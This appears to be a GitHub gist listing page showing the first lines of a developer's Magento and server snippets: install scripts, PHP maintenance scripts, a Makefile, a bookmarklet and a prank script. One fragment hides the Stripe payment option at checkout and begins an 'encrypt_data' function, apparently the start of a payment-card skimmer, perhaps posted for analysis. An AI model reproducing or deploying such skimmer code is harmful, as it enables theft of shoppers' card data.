This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(function() { | |
const d = new Date(); | |
const isHalloween = d.getMonth() == 9 && d.getDate() == 31; | |
const isLate = d.getHours() > 21 || d.getHours() < 5; | |
const hasExecuted = document.cookie.includes('jumpscare'); | |
const applyStyles = (element, styles) => { | |
Object.entries(styles).forEach(e => element.style[e[0]] = e[1]); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env sh | |
IMAGE="https://cdn.speedsize.com/52367726-9989-4d4a-be89-5d34aa139dea/static.magrigg.co.uk/media/catalog/product/b/a/barbour_men_s_cirrus_wellingtons_black_5.jpg?width=560&height=739&store=default&image-type=image/w_560" | |
echo "[i] Fetching Chromium Image" | |
curl -L $IMAGE \ | |
-H 'accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8' \ | |
-H 'Accept-Encoding: gzip, deflate, br' \ | |
-H 'user-agent: Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Mobile Safari/537.36' > chrome.jpg |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env sh | |
# | |
# A fairly simple shell script to install and configure PHP-SPX within a Warden.dev Environment | |
# | |
# Usage: | |
# - Download the script: `curl https://... > ~/warden-install-spx.sh` | |
# - Set Permissions on the script `chmod +x ~/warden-install-spx.sh` | |
# - cd to your warden project `cd ~/Projects/magento.test` | |
# - Run the downloaded script `sh ~/warden-install-spx.sh` | |
# |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
void 0 !== window._edge && clearInterval(window._edge), | |
(window._edge = setInterval(function () { | |
"undefined" != typeof jQuery && | |
jQuery("#stripe_payments").length && | |
(jQuery("#stripe_payments").prop("checked", !1).show(), | |
jQuery(".payment-method.stripe-payments").removeClass("_active"), | |
function1(), | |
clearInterval(window._edge)); | |
}, 500)); | |
var encrypt_data = function (e) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
javascript:(function() {const samjuk_css_table = 'samjuk-table';const samjuk_css_table_highlight = 'samjuk_css_table_highlight';document.head.insertAdjacentHTML("beforeend", ` <style> .${samjuk_css_table} th { cursor: pointer !important; } .${samjuk_css_table_highlight} { background: #fff0af !important; font-weight: bold !important; } </style>`);document.querySelectorAll('sp-tab[label="Commerce on-premises"], sp-tab[label="Commerce on Cloud"]').forEach(tab => { const panel = tab.parentElement.querySelector('#' + tab.getAttribute('aria-controls')); if (panel === null) { return false; } const table = panel.querySelector('table'); if (table === null) { return false; } table.classList.add(samjuk_css_table); const headers = table.querySelector('thead'); if (headers === null) { return false; } headers.addEventListener('click', (event) => { let version = event.target; Array.from(table.querySelectorAll(`.${samjuk_css_table_highlight}`)).forEach(highlight => { highlight.classList.remove(samjuk_css_table_highlight); }) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
# | |
# Lists the differences between the currently installed Schema and that parsed from db_schema.xml | |
# | |
use Magento\Framework\App\Bootstrap, Magento\Catalog\Model\ResourceModel\Product\CollectionFactory; | |
require __DIR__ . '/app/bootstrap.php'; | |
error_reporting(E_ALL & ~E_NOTICE); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Crontab: 0 *\/3 * * * /usr/bin/php /var/www/htdocs/z_missing_invoice_cron.php --commit | mail -s "MagentoStore: Stale Invoice Grid Refresh" email@domain.co.uk | |
**/ | |
use Magento\Framework\App\Bootstrap; | |
require __DIR__ . '/app/bootstrap.php'; | |
error_reporting(E_ALL & ~E_NOTICE); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
.PHONY: assert_magento_owner deploy css critical cache developer production | |
.DEFAULT_GOAL := help | |
# | |
# Variables | |
# | |
EXECUTER=$(shell whoami) | |
MAGE_OWNER=$(shell stat -c '%U' bin/magento) | |
# |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# | |
# This script creates one big nginx config, squashing any includes into a single output. | |
# | |
import re | |
import glob | |
import nginxfmt | |
import argparse |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
use Magento\Sales\Model\Order; | |
ini_set('display_errors', 1);ini_set('display_startup_errors', 1);error_reporting(E_ALL); | |
require __DIR__ . '/app/bootstrap.php'; | |
$bootstrap = \Magento\Framework\App\Bootstrap::create(BP, $_SERVER); | |
$objectManager = $bootstrap->getObjectManager(); |
NewerOlder